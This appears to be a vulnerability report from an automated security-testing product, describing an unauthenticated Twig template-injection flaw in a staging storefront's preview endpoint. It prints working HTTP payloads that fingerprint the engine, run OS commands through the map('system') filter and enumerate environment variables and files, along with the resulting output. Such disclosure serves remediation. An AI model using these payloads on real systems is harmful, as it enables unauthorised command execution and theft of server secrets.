CriticalVerifiedOpenWebAPI8:2023 Security Misconfiguration / A03:2021 Injection

Unauthenticated Twig SSTI leading to RCE on templates/preview?template=

GET
/templates/preview
StorefrontEvaluation environmentDetected 1x

Attack Path

3 stepsfrom/to/templates/preview

Business Impact

An unauthenticated internet-facing attacker gains arbitrary OS command execution as www-data, allowing full server compromise including theft of application source code, environment secrets, and credentials. Attackers can deploy webshells or reverse shells, exfiltrate or destroy business data, and pivot to internal services, leading to operational disruption, data breach notification obligations, and regulatory exposure. Because the endpoint is public and requires no authentication, exploitation is trivially repeatable and could result in ransomware deployment or long-term persistent access.

Description

The template query parameter of /templates/preview is passed directly into the Twig template engine and rendered server-side with no sandboxing or input validation, allowing an attacker to inject arbitrary Twig template code. Because Twig's map filter accepts a string callable, the payload {{['id']|map('system')}} invokes PHP's system() function with attacker-controlled input, yielding unauthenticated OS command execution as the www-data user (uid=33). The endpoint is a public GET route, so no authentication or special privileges are required to achieve full remote code execution.

Proof of Concept

Setup

No authentication required - templates/preview is a public GET endpoint that renders the template query parameter through Twig (user-provided template code evaluated server-side).

Exploit

  1. Fingerprint the engine (Twig, not Jinja2 - 7*'7' evaluates to 49, Jinja2 would print 7777777):
GET /templates/preview?template={{7*'7'}} HTTP/1.1
Host: storefront.example
  1. Execute an OS command via Twig's map filter with the system callable:
GET /templates/preview?template=%7B%7B%5B%27id%27%5D%7Cmap%28%27system%27%29%7D%7D HTTP/1.1
Host: storefront.example
  1. Pivot to filesystem/asset enumeration (used during testing):
GET /templates/preview?template={{['env | grep -i apache; find / -name files/download 2>/dev/null; echo DONE']|map('system')}} HTTP/1.1

Verification

Response 200 with the command output rendered inside the template-output div:

<div class="template-output">
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Array                </div>

The enumeration payload also returned server environment (APACHE_DOCUMENT_ROOT=/app/[REDACTED-PATH]) and located application files (/app/[REDACTED-PATH]), confirming full command execution as www-data. A full find / -name .htpasswd returned nothing - no .htpasswd exists on this host.

Cleanup

No persistent state was modified (commands were read-only: id, env, find, grep, ls).

Observed Behavior

Twig expressions {{7*7}} and {{7*'7'}} both evaluated to 49, confirming server-side template evaluation, and the payload {{['id']|map('system')}} executed the id command, returning uid=33(www-data) gid=33(www-data) groups=33(www-data) in the response body. Follow-up payloads running env, find, and grep also succeeded, confirming arbitrary OS command execution.

Attack Scenarios

  • 1

    An unauthenticated attacker executes arbitrary shell commands as www-data, enabling reverse shells, data exfiltration, and webroot modification.

  • 2

    An attacker reads application source code and embedded credentials via command execution.

  • 3

    An attacker pivots from the www-data context to other services reachable from the container to expand compromise.

Triage & Management

Validation Status

StatusValidated
Last Validated2 days ago
Confidence
85%
VerdictConfirmed
Verification runs automatically when marked remediated

Exploitability

Exploit Available No

Asset Information

Organization Evaluation environment
Application Storefront
Vulnerability ID template-command-execution

Anonymized staging evaluation. Explore the full detail view; management actions are available in your own workspace.

Find issues in your app